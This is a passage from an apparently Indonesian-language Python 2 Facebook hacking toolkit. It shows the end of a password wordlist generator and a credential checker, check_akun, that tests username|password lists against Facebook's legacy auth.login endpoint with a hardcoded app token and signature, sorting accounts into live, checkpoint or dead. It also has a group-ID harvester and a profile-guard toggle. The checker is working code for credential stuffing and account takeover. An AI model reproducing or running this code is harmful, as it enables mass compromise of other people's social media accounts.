a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) 1958 | wg = 0 1959 | while wg < 100: 1960 | wg = wg + 1 1961 | file.write(a + str(wg) + '\n') 1962 | 1963 | en = 0 1964 | while en < 100: 1965 | en = en + 1 1966 | file.write(i + str(en) + '\n') 1967 | 1968 | word = 0 1969 | while word < 100: 1970 | word = word + 1 1971 | file.write(d + str(word) + '\n') 1972 | 1973 | gen = 0 1974 | while gen < 100: 1975 | gen = gen + 1 1976 | file.write(j + str(gen) + '\n') 1977 | 1978 | file.close() 1979 | time.sleep(1.5) 1980 | print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a 1981 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1982 | lain() 1983 | except IOError as e: 1984 | print '\x1b[1;91m[!] Gagal membuat file' 1985 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 1986 | lain() 1987 | 1988 | 1989 | def check_akun(): 1990 | os.system('reset') 1991 | try: 1992 | toket = open('login.txt', 'r').read() 1993 | except IOError: 1994 | print '\x1b[1;91m[!] Token tidak ditemukan' 1995 | os.system('rm -rf login.txt') 1996 | time.sleep(1) 1997 | login() 1998 | else: 1999 | os.system('reset') 2000 | print logo 2001 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2002 | print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' 2003 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2004 | live = [] 2005 | cek = [] 2006 | die = [] 2007 | try: 2008 | file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') 2009 | list = open(file, 'r').readlines() 2010 | except IOError: 2011 | print '\x1b[1;91m[!] File tidak ditemukan' 2012 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2013 | lain() 2014 | 2015 | pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') 2016 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 2017 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2018 | for meki in list: 2019 | username, password = meki.strip().split(str(pemisah)) 2020 | url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' 2021 | data = requests.get(url) 2022 | mpsh = json.loads(data.text) 2023 | if 'access_token' in mpsh: 2024 | live.append(password) 2025 | print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 2026 | elif 'www.facebook.com' in mpsh['error_msg']: 2027 | cek.append(password) 2028 | print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 2029 | else: 2030 | die.append(password) 2031 | print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password 2032 | 2033 | print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) 2034 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2035 | lain() 2036 | 2037 | 2038 | def grupsaya(): 2039 | os.system('reset') 2040 | try: 2041 | toket = open('login.txt', 'r').read() 2042 | except IOError: 2043 | print '\x1b[1;91m[!] Token tidak ditemukan' 2044 | os.system('rm -rf login.txt') 2045 | time.sleep(1) 2046 | login() 2047 | else: 2048 | os.system('reset') 2049 | print logo 2050 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2051 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 2052 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2053 | try: 2054 | uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) 2055 | gud = json.loads(uh.text) 2056 | for p in gud['data']: 2057 | nama = p['name'] 2058 | id = p['id'] 2059 | f = open('grupid.txt', 'w') 2060 | listgrup.append(id) 2061 | f.write(id + '\n') 2062 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) 2063 | print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) 2064 | print 40 * '\x1b[1;97m=' 2065 | 2066 | print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) 2067 | print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' 2068 | f.close() 2069 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2070 | lain() 2071 | except (KeyboardInterrupt, EOFError): 2072 | print '\x1b[1;91m[!] Terhenti' 2073 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2074 | lain() 2075 | except KeyError: 2076 | os.remove('grupid.txt') 2077 | print '\x1b[1;91m[!] Grup tidak ditemukan' 2078 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2079 | lain() 2080 | except requests.exceptions.ConnectionError: 2081 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 2082 | keluar() 2083 | except IOError: 2084 | print '\x1b[1;91m[!] Kesalahan saat membuat file' 2085 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2086 | lain() 2087 | 2088 | 2089 | def guard(): 2090 | global toket 2091 | os.system('reset') 2092 | try: 2093 | toket = open('login.txt', 'r').read() 2094 | except IOError: 2095 | print '\x1b[1;91m[!] Token tidak ditemukan' 2096 | os.system('rm -rf login.txt') 2097 | time.sleep(1) 2098 | login() 2099 | 2100 | os.system('reset') 2101 | print logo 2102 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2103 | print '\x1b[1;37;40m1. Aktifkan' 2104 | print '\x1b[1;37;40m2. NonAktifkan' 2105 | print '\x1b[1;31;40m0. Kembali' 2106 | print 2107 | g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 2108 | if g == '1': 2109 | aktif = 'true' 2110 | gaz(toket, aktif) 2111 | else: 2112 | if g == '2': 2113 | non = 'false' 2114 | gaz(toket, non) 2115 | else: 2116 | if g == '0': 2117 | lain() 2118 | else: 2119 | if g == '': 2120 | keluar() 2121 | else: 2122 | keluar() 2123 | 2124 | 2125 | def get_userid(toket): 2126 | url = 'https://graph.facebook.com/me?access_token=%s' % toket 2127 | res = requests.get(url) 2128 | uid = json.loads(res.text) 2129 | return uid['id'] 2130 | 2131 | 2132 | def gaz(toket, enable=True): 2133 | id = get_userid(toket) 2134 | data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) 2135 | headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} 2136 | url = 'https://graph.facebook.com/graphql' 2137 | res = requests.post(url, data=data, headers=headers) 2138 | print res.text 2139 | if '"is_shielded":true' in res.text: 2140 | os.system('reset') 2141 | print logo 2142 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2143 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' 2144 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2145 | lain() 2146 | else: 2147 | if '"is_shielded":false' in res.text: 2148 | os.system('reset') 2149 | print logo 2150 | print 40 * '\x1b[1;97m\xe2\x95\x90' 2151 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' 2152 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 2153 | lain() 2154 | else: 2155 | print '\x1b[1;91m[!] Error' 2156 | keluar() 2157 | 2158 | 2159 | if __name__ == '__main__': 2160 | login() 2161 | --------------------------------------------------------------------------------